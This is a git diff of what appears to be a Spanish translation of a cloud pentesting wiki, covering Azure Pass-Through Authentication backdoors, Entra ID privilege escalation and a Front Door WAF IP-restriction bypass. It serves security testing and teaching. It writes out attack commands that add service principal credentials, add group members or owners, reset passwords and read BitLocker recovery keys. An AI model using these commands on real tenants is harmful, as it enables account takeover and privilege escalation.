`PTASpy.dll` en el proceso `AzureADConnectAuthenticationAgentService` > [!NOTE] > Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado. @@ -82,15 +82,15 @@ Este backdoor hará: > [!CAUTION] > Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.** -### Seamless SSO +### SSO Sin Costuras -Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Revísalo en: +Es posible usar SSO Sin Costuras con PTA, que es vulnerable a otros abusos. Revísalo en: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md deleted file mode 100644 index 70ff2d4e7..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ /dev/null @@ -1,30 +0,0 @@ -# Az- Sincronizando Nuevos Usuarios - -{{#include ../../../../banners/hacktricks-training.md}} - -## Sincronizando usuarios de AzureAD a on-prem para escalar de on-prem a AzureAD - -Para sincronizar un nuevo usuario **de AzureAD al AD on-prem** estos son los requisitos: - -- El **usuario de AzureAD** necesita tener una dirección proxy (un **buzón**) -- No se requiere licencia -- No **debe estar ya sincronizado** -```bash -Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl -``` -Cuando se encuentra un usuario como estos en AzureAD, para **acceder a él desde el AD local** solo necesitas **crear una nueva cuenta** con la **proxyAddress** el correo electrónico SMTP. - -Automáticamente, este usuario será **sincronizado desde AzureAD al usuario del AD local**. - -> [!CAUTION] -> Ten en cuenta que para realizar este ataque **no necesitas ser Administrador de Dominio**, solo necesitas permisos para **crear nuevos usuarios**. -> -> Además, esto **no eludirá MFA**. -> -> Además, se informó que **la sincronización de cuentas ya no es posible para cuentas de administrador**. - -## Referencias - -- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 13c35bb07..be17c849a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -90,7 +90,7 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac ### `microsoft.directory/servicePrincipals/credentials/update` -Esto permite a un atacante agregar credenciales a los principales de servicio existentes. Si el principal de servicio tiene privilegios elevados, el atacante puede asumir esos privilegios. +Esto permite a un atacante agregar credenciales a los service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios. ```bash az ad sp credential reset --id --append ``` @@ -136,7 +136,7 @@ Estos permisos permiten deshabilitar y habilitar principales de servicio. Un ata Ten en cuenta que para esta técnica, el atacante necesitará más permisos para hacerse cargo del principal de servicio habilitado. ```bash -bashCopy code# Disable +# Disable az ad sp update --id --account-enabled false # Enable @@ -164,13 +164,21 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` +### Escalación de Privilegios de Aplicaciones + +**Como se explica en [esta publicación](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muy común encontrar aplicaciones predeterminadas que tienen **permisos de API** de tipo **`Application`** asignados a ellas. Un Permiso de API (como se llama en la consola de Entra ID) de tipo **`Application`** significa que la aplicación puede acceder a la API sin un contexto de usuario (sin que un usuario inicie sesión en la aplicación), y sin necesidad de roles de Entra ID que lo permitan. Por lo tanto, es muy común encontrar **aplicaciones de alto privilegio en cada inquilino de Entra ID**. + +Entonces, si un atacante tiene algún permiso/rol que permite **actualizar las credenciales (secreto o certificado) de la aplicación**, el atacante puede generar una nueva credencial y luego usarla para **autenticarse como la aplicación**, obteniendo todos los permisos que tiene la aplicación. + +Tenga en cuenta que el blog mencionado comparte algunos **permisos de API** de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este informe, Microsoft solucionó este problema y ahora no es posible iniciar sesión como aplicaciones de Microsoft. Sin embargo, todavía es posible encontrar **aplicaciones personalizadas con altos privilegios que podrían ser abusadas**. + --- ## Grupos ### `microsoft.directory/groups/allProperties/update` -Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a la escalada de privilegios. +Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a la escalación de privilegios. ```bash az ad group member add --group --member-id ``` @@ -178,7 +186,7 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/owners/update` -Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que puede llevar a una escalada de privilegios en el grupo. +Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente puede escalar privilegios al grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id @@ -204,7 +212,7 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Nota**: Este permiso excluye los grupos asignables de roles de Entra ID. +**Nota**: Este permiso excluye los grupos asignables por rol de Entra ID. ### Privesc de Grupos Dinámicos @@ -224,7 +232,7 @@ az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios en función de los valores de las propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios. +Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios basados en los valores de las propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios. ```bash #e.g. change manager of a user victimUser="" @@ -240,7 +248,7 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Políticas de Acceso Condicional y bypass de MFA +## Políticas de acceso condicional y bypass de MFA Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, consulta: @@ -300,7 +308,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Otros permisos interesantes (TODO) +## Otras permisos interesantes (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-front-door.md b/src/pentesting-cloud/azure-security/az-services/az-front-door.md new file mode 100644 index 000000000..9dc9185c5 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md @@ -0,0 +1,18 @@ +# Az - Comparticiones de Archivos + +{{#include ../../../banners/hacktricks-training.md}} + +## Bypass de RemoteAddr + +Este **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explica cómo, al configurar algunas restricciones de red con Azure Front Door, puedes filtrar en función de **`RemoteAddr`** o **`SocketAddr`**. Siendo la principal diferencia que **`RemoteAddr`** utiliza el valor del encabezado HTTP **`X-Forwarded-For`**, lo que facilita mucho el bypass. + +Para eludir esta regla, se pueden utilizar herramientas automatizadas que **fuerzan direcciones IP** hasta encontrar una válida. + +Esto se menciona en la [documentación de Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction). + + +## Referencias + +- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass) + +{{#include ../../../banners/hacktricks-training.md}}